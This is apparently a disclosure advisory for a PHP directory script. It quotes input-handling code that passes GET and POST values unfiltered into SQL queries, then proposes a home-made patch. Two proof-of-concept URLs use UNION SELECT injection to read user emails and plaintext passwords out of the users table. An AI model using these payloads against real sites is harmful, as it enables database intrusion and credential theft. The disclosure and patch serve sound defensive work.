injection sql , xss , full path

===============
3) Vulnerable code:
===============
in Common.php

line 310:

function CCStrip($value)
{
  if(get_magic_quotes_gpc() == 0) 
    return $value;
  else
    return stripslashes($value); // ==> wtf... 0-o
} 



ligne 350:

function CCGetFromPost($parameter_name, $default_value)
{
  global $HTTP_POST_VARS;

  $parameter_value = "";
  if(isset($HTTP_POST_VARS[$parameter_name]))
    $parameter_value = CCStrip($HTTP_POST_VARS[$parameter_name]);
  else
    $parameter_value = $default_value;

  return $parameter_value;
}


line 365:

function CCGetFromGet($parameter_name, $default_value)
{
  global $HTTP_GET_VARS;

  $parameter_value = "";
  if(isset($HTTP_GET_VARS[$parameter_name]))
    $parameter_value = CCStrip($HTTP_GET_VARS[$parameter_name]);
  else
    $parameter_value = $default_value;

  return $parameter_value;
}

nothing is filtred ....

let's see how it goes in viewcat.php:

line 63:
include(RelativePath . "/Common.php");

line 519:
$this->ds->Parameters["urlCatID"] = CCGetFromGet("CatID", "");

line 909:
$catdb1 = new clsDBNetConnect;

                $catdb1->connect();

                $newSQL1 = "SELECT cat_id FROM categories WHERE sub_cat_id='" . CCGetFromGet("CatID", "") . "'";

                $incat = "'" . CCGetFromGet("CatID", "") . "'";


I wont past every line of this code , because EVERY parameter is vulnerable to sql injection , XSS , full path ...

=====
4)proof of concept
=====


exemple of exploitation :
1) http://site.com/ViewCat.php?CatID=-8+union+select+1,email,3+from+users/*
==> ( Database error: Invalid SQL: SELECT name, sub_cat_id, cat_id FROM categories WHERE cat_id=username@mail.com )

2)http://site.com/ViewCat.php?s_user_id='+union+select+user_password+from+users+where%20user_id=1/*
==> The value in field urls_user_id is not valid. (passwd_PLAIN_TEXT) 

// there's absolutly no encryption in this script for stored password , or sensitive data ...

every input are vulnerable to XSS attacks ( there's maybe 40 inputs ... ) via mysql errors , php error , and via 
various unfiltred forms .

ps: depending of the version , the number of column change , but it's coded on the same way ...

=====
5) Fix
=====
scriptdevelopers has been advised , i dont think they will release any patch at the moment .

here's my "patch" :

1) in Common.php:
line 30 : 
ADD:
ini_set(display_errors,"0");
( in a production mode , no one needs to know your errors .. and this avoid xss via php error )

ligne 350:
function CCGetFromPost // for every POST request
avant : return $parameter_value;
apres : return preg_replace('/[^a-z0-9]/i', '', $parameter_value); //only 0 to 9 and a to z caracters allowed


line 365:
function CCGetFromGet // for every GET request 
replace :
return $parameter_value;
BY
return preg_replace('/[^a-z0-9]/i', '', $parameter_value);

2) in Mysql_db.php
line 52 :
var $Halt_On_Error = "yes"; ## "yes" (halt with message), "no" (ignore errors quietly), "report" (ignore errror, but spit a warning)

set the value at "no" ( by default it's yes ) 
this will avoid juicy errors , such as table name and the complete query 

3) imageresizer.php 

line 2:
ADD :
ini_set(display_errors,"0");
( same reason as Common.php )

line 100 :
replace :  echo("<hr color='red'><font color='red'><b>$msg</b></font><br> file=<b>".__FILE__."</b><hr color='red'>")
BY
 echo("<hr color='red'><font color='red'><b>error while processing your request</b></font><br> <b></b><hr color='red'>"); 

".__FILE__." show the full path, no one need to know where is located your script on the server .
and usually a full path give the username for the ftp , or cpanel .
( /directory/your_user/www/file.php )


=====
5) Conclusion
=====

This script has not been develloped in a secure way, and it's really dangerous 
to use it UNPATCHED
